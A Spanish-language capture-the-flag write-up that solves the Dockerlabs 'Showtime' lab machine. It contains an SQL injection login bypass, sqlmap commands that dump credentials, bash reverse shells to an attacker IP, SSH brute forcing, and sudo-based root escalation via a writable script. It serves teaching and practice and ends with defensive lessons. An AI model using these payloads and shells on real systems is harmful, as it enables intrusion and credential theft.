← Volver al inicio

Showtime - Dockerlabs - Linux

11/09/2026 • SecNotes 2.0

En este laboratorio abordaremos la solución de la máquina Showtime en Dockerlabs. El proceso cubre la cadena completa de intrusión hasta la explotación de un fallo clásico de SQL Injection y la elevación de privilegios.

Iniciamos con el escaneo de puertos y servicios mediante nuestra herramienta Auto Recon. Identificamos los puertos de SSH y HTTP (Apache) abiertos en el objetivo. Sin credenciales de acceso para SSH, centramos la fase inicial de ataque en el servicio web.

Nuestra herramienta nos encontró el servicio SSH y HTTP (Apache) activos, Sin credenciales de acceso para SSH, así que centramos la fase inicial de ataque en el servicio web.

La página no nos muestra mayor información, verificamos el código fuente de esta sin encontrar información de interés. Solo tenemos acceso a un panel de login.

Intentamos acceder con credenciales conocidas sin tener éxito en el inicio de sesión.

La página principal expone un formulario de autenticación clásico. Inspeccionamos el código fuente HTML sin encontrar pistas ni comentarios relevantes. Tras verificar que las credenciales por defecto no son válidas, evaluamos la presencia de SQL Injection en el formulario de inicio de sesión.

Interceptamos la petición POST con Burp Suite e introdujimos en el parámetro de usuario: 'OR 1=1 -- -

Así al enviar la solicitud obtenemos acceso al servidor y confirmamos que el formulario es vulnerable a SQL Injection (Authentication Bypass).

Hasta ahora solo engañamos a la consulta para que nos devuelva un registro válido (habitualmente el primero de la tabla), Entonces utilizaremos sqlmap para exprimir la vulnerabilidad mucho mas allá.

sqlmap -u "http://172.17.0.2/login_page/index.php" --forms --dbs --batch

Desglose del comando

sqlmap -u "http://172.17.0.2/login_page/index.php" = Especificamos la URL del objetivo.

--forms = Habilita la detección automática de formularios HTML. En lugar de requerir que definamos los parámetros manualmente (como ?id= o --data).

--dbs = Ordena a la herramienta enumerar todas las bases de datos.

--batch = Activa la ejecución no interactiva. Omite cualquier pregunta de confirmación en consola.

Como resultado, nos muestra las bases de datos:

  • information_schema
  • mysql
  • performance_schema
  • sys
  • users

Ya que tenemos identificadas, lanzamos el siguiente comando para que nos muestre la tabla users

sqlmap -u "http://172.17.0.2/login_page/index.php" --forms --batch -D users --tables

aquí agregamos -D users para especificar la base de datos objetivo sobre la que operaremos, y --tables para listar unicamente los nombres de las tablas que existen dentro de esa base de datos (users).

Ahora debemos ver el contenido de la tabla.

sqlmap -u "http://172.17.0.2/login_page/index.php" --forms --batch -D users -T usuarios --dump

agregamos esta vez -T usuarios para especificar la tabla llamada usuarios dentro de esa db, y --dump para descargar y mostrar únicamente las filas y columnas de esa tabla especificada.

Con esto ya tenemos las credenciales de 3 usuarios.

Conexión al servidor

Ya que tenemos usuarios, vamos a validarlos conectándonos en la página web con las credenciales encontradas.

obtenemos acceso a un nuevo panel de administración con las credenciales del usuario joe. Aquí nos deja ejecutar comandos de python, para validar esto, vamos a ejecutar el comando id mediante la sintaxis:

import os
os.system("COMANDO")

también validamos si tenemos bash en el servidor para ejecutar una reverse shell con el comando which bash

Ya teniendo estos datos, seguimos con la conexión a nuestra terminal con una reverse shell.

bash -c 'bash -i >& /dev/tcp/<IP ATACANTE>/<PORT> 0>&1'

dejamos nuestra máquina en escucha

y ejecutamos el comando.

Ya tenemos acceso al servidor con el usuario www-data, lo primero será mejorar la shell.

python3 -c 'import pty; pty.spawn("/bin/bash")'

luego mandamos la shell a segundo plano con CTRL Z

y en nuestra shell ponemos stty raw -echo; fg ahora al presionar enter volveremos a la shell de la víctima con este mejoramiento ya no tendremos una shell “tonta” ahora podremos usar las flechas sin que salgan caracteres no deseados.

con este usuario, generalmente tenemos los permisos mínimos para movernos por el servidor, luego de una búsqueda por los directorios, nos encontramos con un archivo oculto.

esta documento contiene una lista de palabras sospechosas, a mi vista parece un diccionario. Un detalle es que están todos los caracteres en mayúsculas, por lo que difícilmente podrían ser contraseñas, así que vamos a copiarlas para crearnos un archivo nuevo y pasar todas estas palabras a minúsculas.

cat origen.txt | tr '[:upper:]' '[:lower:]'> destino.txt o tr '[:upper:]' '[:lower:]' < origen.txt > destino.txt

Ahora tenemos dos diccionarios, ya tenemos un usuario potencialmente valido, y dos diccionarios para realizar ataque de fuerza bruta en el servicio ssh.

Tal como pensamos, la contraseña estaba en minúsculas.

Y ganamos acceso vía SSH.

Buscamos si podemos ejecutar alguna herramienta con permisos de root

y vemos que el usuario luciano puede ejecutar posh con permisos de root.

Posh (Policy Compliance Shell) es una shell de Linux, una reimplementación de sh minimalista e estricta creada principalmente en Debian para verificar que los scripts se cumplan rigurosamente con los estándares POSIX.

Ya que el usuario luciano puede ejecutar posh (que sabemos que es una shell), si utilizamos el argumento -u luciano podemos ejecutarlo desde el usuario joe con permisos de luciano.

entonces: sudo -u luciano posh

Así ganamos acceso con el usuario luciano.

Nuevamente buscamos si tenemos algun permiso especial, y esta vez nos encontramos que con el usuario luciano podemos ejecutar un script que se encuentra en su directorio. (/home/luciano/script.sh)

Este script es una reverse shell hacia una dirección (192.168.1.100), al revisar los permisos de este script, nuestro usuario puede modificarlo, así que tenemos dos caminos:

  1. Arrancar Bash en modo privilegiado con bash -p, así obtendríamos una shell como root.
  2. Modificar el script para que apunte a nuestra ip y obtener una reverse shell en nuestro equipo

Opción 1:

Desglose

touch script: creamos un archivo llamado script $ echo '#!/bin/bash > > bash -p’ > script : sobrescribimos el contenido del archivo creado con dos líneas. mv script script.sh : Renombramos el archivo de script a script.sh $ sudo /bin/bash /home/luciano/script.sh : ejecutamos bash con permisos de administrador (sudo`) pasándole la ruta absoluta del script recién creado.

Al ejecutarse como sudo, el script llama a bash -p con privilegios elevados, abriendo una shell interactiva como root. Eso se puede aplicar cuando Bash o algunos Scripts tienen permisos de sudoers sin restricción de contraseñas.

Opción 2

Modificar el script para crear una reverse shell hacia nuestra máquina atacante.

echo "bash -i >& /dev/tcp/172.17.0.1/4444 0>&1" > script.sh

y ejecutamos con:

sudo /bin/bash /home/luciano/script.sh

La resolución de esta máquina demuestra de manera práctica cómo debilidades individuales en distintas capas del sistema pueden encadenarse hasta comprometer la totalidad del servidor:

  • Saneamiento en aplicaciones web: La ausencia de sentencias preparadas en el formulario de login no solo permitió el acceso no autorizado, sino también la extracción total de credenciales mediante SQLMap.

  • Gestión de credenciales y contraseñas: El uso de contraseñas predecibles o basadas en diccionarios locales expuso el servicio SSH una vez obtenido un vector inicial en el servidor web.

  • Principio de menor privilegio: Delegar la ejecución de intérpretes de comandos (posh) o scripts en rutas donde el propio usuario posee permisos de escritura representa un riesgo crítico, ya que cualquier atacante puede alterar el flujo de ejecución para invocar shells interactivas con privilegios elevados (root).